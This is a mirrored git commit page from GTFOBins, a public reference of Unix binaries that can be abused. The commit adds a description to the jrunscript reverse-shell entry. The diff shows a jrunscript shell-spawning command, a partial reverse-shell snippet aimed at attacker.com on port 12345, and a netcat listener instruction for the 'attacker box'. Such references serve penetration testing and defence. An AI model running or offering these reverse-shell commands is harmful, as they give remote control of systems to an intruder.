mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add description to jrunscript reverse-shell
This commit is contained in:
parent
46e293e444
commit
7ad0233b33
@ -4,7 +4,8 @@ functions:
|
|||||||
shell:
|
shell:
|
||||||
- code: jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
|
- code: jrunscript -e "exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)')"
|
||||||
reverse-shell:
|
reverse-shell:
|
||||||
- code: |
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||||
|
code: |
|
||||||
export RHOST=attacker.com
|
export RHOST=attacker.com
|
||||||
export RPORT=12345
|
export RPORT=12345
|
||||||
jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';
|
jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';
|
||||||
|
Loading…
Reference in New Issue
Block a user